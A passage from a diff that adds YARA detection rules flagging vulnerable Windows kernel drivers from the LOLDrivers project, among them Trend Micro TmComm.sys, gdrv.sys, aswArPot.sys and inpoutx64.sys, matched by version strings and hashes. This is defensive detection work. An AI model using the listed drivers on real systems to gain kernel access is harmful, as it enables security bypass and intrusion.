+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_AD23 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ad23d77a38655acb71216824e363df8ac41a48a1a0080f35a0d23aa14b54460b"
+		date = "2023-06-14"
+		score = 40
+		id = "df1de7d1-dd2a-5c6c-980d-a080b343f4f7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530070006500650064002000460061006e00200078003300320020004400720069007600650072 } /* FileDescription SpeedFanxDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 } /* CompanyName AlmicoSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580034002e00340033002e00300034 } /* FileVersion X */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580034002e00340033002e00300034 } /* ProductVersion X */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 } /* InternalName sfdrvxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530070006500650064002000460061006e } /* ProductName SpeedFan */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 } /* OriginalFilename sfdrvxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310030 } /* LegalCopyright CopyrightAlmicoSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_1A4F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1a4f7d7926efc3e3488758ce318246ea78a061bde759ec6c906ff005dd8213e5"
+		hash = "0da746e49fd662be910d0e366934a7e02898714eaaa577e261ab40eb44222b5c"
+		hash = "e32ab30d01dcff6418544d93f99ae812d2ce6396e809686620547bea05074f6f"
+		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
+		hash = "ecfc52a22e4a41bf53865b0e28309411c60af34a44e31a5c53cdc8c5733e8282"
+		date = "2023-06-14"
+		score = 40
+		id = "a7b74018-53bc-5f36-b1cd-50d87c5928e0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* InternalName ATSZIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_BCFC {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "bcfc2c9883e6c1b8429be44cc4db988a9eecb544988fbd756d18cfca6201876f"
+		date = "2023-06-14"
+		score = 40
+		id = "aabd529a-516f-5e7f-85e2-b7fa207b89cd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000340039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrddkprovider_Gdrvsys_Windowsrddkdriver_F4FF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f4ff679066269392f6b7c3ba6257fc60dd609e4f9c491b00e1a16e4c405b0b9b"
+		hash = "cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b"
+		date = "2023-06-14"
+		score = 40
+		id = "e7e01116-2971-59fd-bada-ac22cdc17670"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 } /* FileDescription GIGABYTETools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 } /* ProductName WindowsRDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 } /* LegalCopyright CopyrightCMicrosoftCorp */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_DBC6 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "dbc604b4e01362a3e51357af4a87686834fe913852a4e0a8c0d4c1a0f7d076ed"
+		date = "2023-06-14"
+		score = 40
+		id = "9a004873-765d-5db7-87e1-8796286635e3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000340031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_F15A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f15ae970e222ce06dbf3752b223270d0e726fb78ebec3598b4f8225b5a0880b1"
+		date = "2023-06-14"
+		score = 40
+		id = "ec067130-dde8-58a8-884f-eeda3c7adf57"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* FileDescription CorsairLLAccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e } /* CompanyName CorsairMemoryInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* InternalName CorsairLLAccess */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* ProductName CorsairLLAccess */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* OriginalFilename CorsairLLAccess */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 } /* LegalCopyright CorsairMemoryInccAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_4E37 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4e37592a2a415f520438330c32cfbdbd6af594deef5290b2fa4b9722b898ff69"
+		date = "2023-06-14"
+		score = 40
+		id = "c827a2fc-e533-5113-a7e5-8ae4f5718d63"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100340030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_ECD0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ecd07df7ad6fee9269a9e9429eb199bf3e24cf672aa1d013b7e8d90d75324566"
+		date = "2023-06-14"
+		score = 40
+		id = "f683f7c5-15cb-5e1b-9d6e-4261c85a581a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100370036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_36E3 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "36e3127f045ef1fa7426a3ff8c441092d3b66923d2b69826034e48306609e289"
+		date = "2023-06-14"
+		score = 40
+		id = "6ea52f09-df49-5bc4-a3bc-34a80e78b739"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_FDA9 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fda93c6e41212e86af07f57ca95db841161f00b08dae6304a51b467056e56280"
+		date = "2023-06-14"
+		score = 40
+		id = "d405ca94-8b2c-57cd-b6da-8dbfd5f8d858"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100310037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_D205 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_RCIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
+		date = "2023-06-14"
+		score = 40
+		id = "ea90277d-696d-5674-b679-9a340359e853"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 } /* FileDescription IOInterfacedriverfile */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 } /* CompanyName BIOSTARGroup */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 } /* InternalName IOdriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 } /* ProductName BIOSTARIOdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f005200430049004f00360034002e007300790073 } /* OriginalFilename BSRCIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 } /* LegalCopyright CopyrightcBIOSTARGroup */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrwinddkprovider_Amifldrvsys_Windowsrwinddkdriver_38D8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amifldrv64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20"
+		hash = "ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f"
+		date = "2023-06-14"
+		score = 40
+		id = "9c05031d-2062-53fb-982c-f874bf902b48"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0049002000470065006e00650072006900630020005500740069006c0069007400790020004400720069007600650072 } /* FileDescription AMIGenericUtilityDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 } /* InternalName amifldrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 } /* OriginalFilename amifldrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Highresolutionenterpriseswwwhighrezcouk_Inpoutxsys_Inpoutxdriverversion_X_F581 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - inpoutx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af"
+		hash = "f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b"
+		hash = "2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d"
+		date = "2023-06-14"
+		score = 40
+		id = "2103d553-3e8a-5f81-b54e-c125aa7746ca"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00650072006e0065006c0020006c006500760065006c00200070006f0072007400200061006300630065007300730020006400720069007600650072 } /* FileDescription Kernellevelportaccessdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048006900670068007200650073006f006c007500740069006f006e00200045006e0074006500720070007200690073006500730020005b007700770077002e006800690067006800720065007a002e0063006f002e0075006b005d } /* CompanyName HighresolutionEnterpriseswwwhighrezcouk */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 } /* InternalName inpoutxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006e0070006f007500740078003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 } /* ProductName inpoutxDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 } /* OriginalFilename inpoutxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300030003800200048006900670068007200650073006f006c007500740069006f006e00200045006e007400650072007000720069007300650073002e00200050006f007200740069006f006e007300200043006f007000790072006900670068007400200028006300290020004c006f00670069007800340075 } /* LegalCopyright CopyrightcHighresolutionEnterprisesPortionsCopyrightcLogixu */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_12ED {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "12eda8b65ed8c1d80464a0c535ea099dffdb4981c134294cb0fa424efc85ee56"
+		date = "2023-06-14"
+		score = 40
+		id = "d8599978-d388-5b67-99ff-d4bde156b433"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_EBE2 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ebe2e9ec6d5d94c2d58fbcc9d78c5f0ee7a2f2c1aed6d1b309f383186d11dfa3"
+		date = "2023-06-14"
+		score = 40
+		id = "6d854b08-4675-53c5-9d7f-753c94310df0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_A334 {
+	meta:
